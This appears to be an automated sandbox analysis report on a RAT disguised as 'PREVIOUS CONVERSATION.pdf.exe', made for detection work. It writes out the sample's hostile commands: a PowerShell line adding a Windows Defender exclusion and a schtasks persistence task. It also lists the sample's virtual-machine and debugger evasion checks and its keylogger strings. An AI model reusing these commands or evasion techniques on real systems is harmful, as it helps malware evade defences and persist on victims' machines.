Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 0.2.PREVIOUS CONVERSATION.pdf.exe.25b0d44.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PREVIOUS CONVERSATION.pdf.exe PID: 5068, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.682283890.0000000003E12000.00000004.00000001.sdmp, PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.687161020.00000000067D1000.00000004.00000001.sdmp, RegSvcs.exe, RegSvcs.exe, 00000008.00000000.673437502.0000000000400000.00000040.00000001.sdmp, RegSvcs.exe, 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, RegSvcs.exe, 00000008.00000000.672927900.0000000000400000.00000040.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Contain functionality to detect virtual machines

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: VMwareVMware VBoxVBoxVBox

8_2_00438696

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

RDTSC instruction interceptor: First address: 0000000000438426 second address: 0000000000438430 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 call dword ptr [004F0034h] 0x0000000a jmp dword ptr [73BE10C0h] 0x00000010 mov eax, dword ptr fs:[00000030h] 0x00000016 mov eax, dword ptr [eax+18h] 0x00000019 ret 0x0000001a rdtsc

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BaseBoard

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe TID: 3296	Thread sleep time: -36673s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe TID: 3296	Thread sleep time: -89000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe TID: 3028	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4100	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5716	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2832	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 6018	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_00438418 rdtsc

8_2_00438418

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Thread delayed: delay time: 36673	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Thread delayed: delay time: 89000	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II.Ensure size is invalid.HYou must set resource manager first.PYou must set data provider helper first.nLoad binary '{0}' from file system with internal error.
Source: RegSvcs.exe	Binary or memory string: Hyper-V
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	Binary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: RegSvcs.exe, 00000008.00000000.672927900.0000000000400000.00000040.00000001.sdmp	Binary or memory string: Cx</block><block><block></block></block><block></data></data><block>.bin\</date>%Y-%m-%d %I:%M:%S<date><data><title></title>{F1}{F2}{F3}{F4}{F5}{F6}{F7}{F8}{F9}{F10}{F11}{F12}{F13}{F14}{F15}{F16}{NUMPAD_0}{NUMPAD_1}{NUMPAD_2}{NUMPAD_3}{NUMPAD_4}{NUMPAD_5}{NUMPAD_6}{NUMPAD_7}{NUMPAD_8}{NUMPAD_9}{NUMPAD_MULTIPLY}{NUMPAD_ADD}{NUMPAD_SEPARATOR}{NUMPAD_SUBTRACT}{NUMPAD_DECIMAL}{NUMPAD_DIVIDE}{ENTER}{CTRL} {SHIFT}{CAPSLOCK}{ESC}{MENU}{HELP}{CLEAR}{TAB}{BACKSPACE}{PRTSCR}{SELECT}{EXECUTE}{SCROLL}{PAUSE}{INS}{HOME}{PAGEUP}{PAGEDOWN}{DEL}{END}{UP}{DOWN}{LEFT}{RIGHT}{NUMLOCK}KEYLOG: KEYLOG STEAM SENT: send_keylog_stream_data</block><block></block><block>kernel32.dllKernel32.dllNtQueryInformationProcessNTDLL.DLLSYSTEM\CurrentControlSet\Control\Terminal Server\GlassSessionIdKVMKVMKVMMicrosoft HvVMwareVMwareXenVMMXenVMMprl hyperv VBoxVBoxVBoxROOT\CIMV2SELECT * FROM Win32_VideoControllerCaptionHyper-VMicrosoft Basic Display AdapterVMWare%ThisIsAnInvalidEnvironmentVariableName?[]<>@\;!-{}#:/~%%ThisIsAnInvalidFileName?[]<>@\;!-{}#:/~%VirtualAlloc failed. Last error: %u
Source: RegSvcs.exe	Binary or memory string: VMwareVMware
Source: RegSvcs.exe	Binary or memory string: VMWare
Source: PREVIOUS CONVERSATION.pdf.exe, 00000000.00000002.677941132.0000000002591000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Potentially malicious time measurement code found

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_00438418 Start: 0043843C End: 00438430

8_2_00438418

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_00438DCE CheckRemoteDebuggerPresent,

8_2_00438DCE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_004B0BDB mov eax, dword ptr fs:[00000030h]

8_2_004B0BDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_00438418 rdtsc

8_2_00438418

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe			Jump to behavior

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\FeqVzOoxhxw.exe	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\FeqVzOoxhxw" /XML "C:\Users\user\AppData\Local\Temp\tmpD3E0.tmp	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior

Source: RegSvcs.exe, 00000008.00000002.932180930.0000000001C60000.00000002.00020000.sdmp, RegSvcs.exe, 00000008.00000002.932665463.000000000451E000.00000004.00000010.sdmp	Binary or memory string: Program Manager
Source: RegSvcs.exe, 00000008.00000002.932180930.0000000001C60000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegSvcs.exe, 00000008.00000002.932180930.0000000001C60000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: RegSvcs.exe, 00000008.00000002.932180930.0000000001C60000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoEx,GetLocaleInfoEx,		8_2_0049C76F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: GetLocaleInfoEx,___wcsnicmp_ascii,		8_2_0049C6A4

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Queries volume information: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_0043865F cpuid

8_2_0043865F

Source: C:\Users\user\Desktop\PREVIOUS CONVERSATION.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_0048B007 GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

8_2_0048B007

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 8_2_004BA019 _free,_free,_free,GetTimeZoneInformation,_free,

8_2_004BA019

Stealing of Sensitive Information:

Yara detected WebMonitor RAT

Show sources

Source: Yara match	File source: 8.0.RegSvcs.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PREVIOUS CONVERSATION.pdf.exe.43050f8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PREVIOUS CONVERSATION.pdf.exe.43f2918.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PREVIOUS CONVERSATION.pdf.exe.43f2918.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PREVIOUS CONVERSATION.pdf.exe.43050f8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.673437502.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.674726830.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.674213320.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.687161020.00000000067D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.672927900.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.675249725.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.682283890.0000000003E12000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PREVIOUS CONVERSATION.pdf.exe PID: 5068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3240, type: MEMORYSTR

Remote Access Functionality:

Yara detected WebMonitor RAT

Show sources

Source: Yara match	File source: 8.0.RegSvcs.exe.400000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PREVIOUS CONVERSATION.pdf.exe.43050f8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PREVIOUS CONVERSATION.pdf.exe.43f2918.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.PREVIOUS CONVERSATION.pdf.exe.43f2918.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.RegSvcs.exe.400000.4.unpack, type: UNPACKEDPE
